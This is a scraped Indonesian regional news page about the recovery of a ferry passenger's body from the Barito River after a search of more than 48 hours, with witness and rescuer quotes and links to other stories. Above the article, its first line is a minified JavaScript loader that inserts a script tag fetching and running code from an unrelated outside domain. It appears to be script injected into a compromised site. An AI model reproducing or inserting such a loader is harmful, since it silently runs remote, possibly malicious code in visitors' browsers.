(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – Lebih dari 48 jam pencarian, penumpang feri penyeberangan di Sungai Gampa yang tenggelam di Sungai Barito, akhirnya ditemukan, Rabu (1/9/2021) siang.
Jasad Da’i Roby (23), warga Jalan Jendral Sudirman, Kecamatan Marabahan, Kabupaten Batola, ditemukan sekitar 3 kilometer dari posisi pertama tenggelam.
Da’i Roby menghilang setelah terjatuh ke Sungai Barito pada Senin (30/8/2021) pukul 13.30 Wita.
Diketahui korban awalnya terjatuh saat menumpang feri penyeberangan di Sungai Gampa, menuju Pendalaman Baru, Kecamatan Rantau Badauh, Kabupaten Barito Kuala (Batola).
Baca juga: Wakil Ketua KPK Langgar Etik, Pakar: Harus Dipecat, Komisioner Tak Boleh Cacat Moral
Rezky, salah satu relawan gabungan yang ikut melakukan pencarian dari Borneo Rescue mengatakan, korban ditemukan tim SAR gabungan yang melakukan pencarian menggunakan kelotok dan perahu karet.
“Korban ditemukan tim relawan gabungan yang menggunakan feri,” ujar Rezky.
Setelah ditemukan, jasad korban atas permintaan keluarga dibawa langsung ke rumah duka di Jalan Jendral Sudirman, Kecamatan Marabahan, Kabupaten Batola.
“Langsung dibawa ke rumah, lewat pelabuhan Pendalaman Baru,” katanya.
Pencarian pada hari ketiga, tim SAR gabungan sudah melakukan penyisiran kurang lebih 10 kilometer dari titik 0 korban tenggelam di Sungai Barito.
“Karena air sungai yang keruh dan arus lumayan deras menjadi kendala dalam proses pencarian,” tuturnya.
Salah seorang saksi di lokasi kejadian Muhammad Noor mengatakan, ketika korban meminum kopi botol tiba-tiba kemudian korban terjatuh.
“Saya melihat korban ketika menaiki kapal feri duduk di bagian haluan kapal sambil meminum kopi botol, dan tiba-tiba korban terjatuh ke sungai,” terangnya
Sementara itu, Rajiannor, pemilik kapal feri langsung menceburkan diri ke sungai menolong korban. Rajiannor sempat menemukan korban, akan tetapi karena kondisi arus yang sangat kuat, tidak kuat untuk memegang korban, sehingga terlepas dari tangan saksi dan kemudian hilang di dalam sungai. Saat ini tim relawan dan pihak kepolisian masih dalam pencarian korban. (kanalkalimantan.com/rdy)
Reporter : rdy
Editor : kk
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More
This website uses cookies.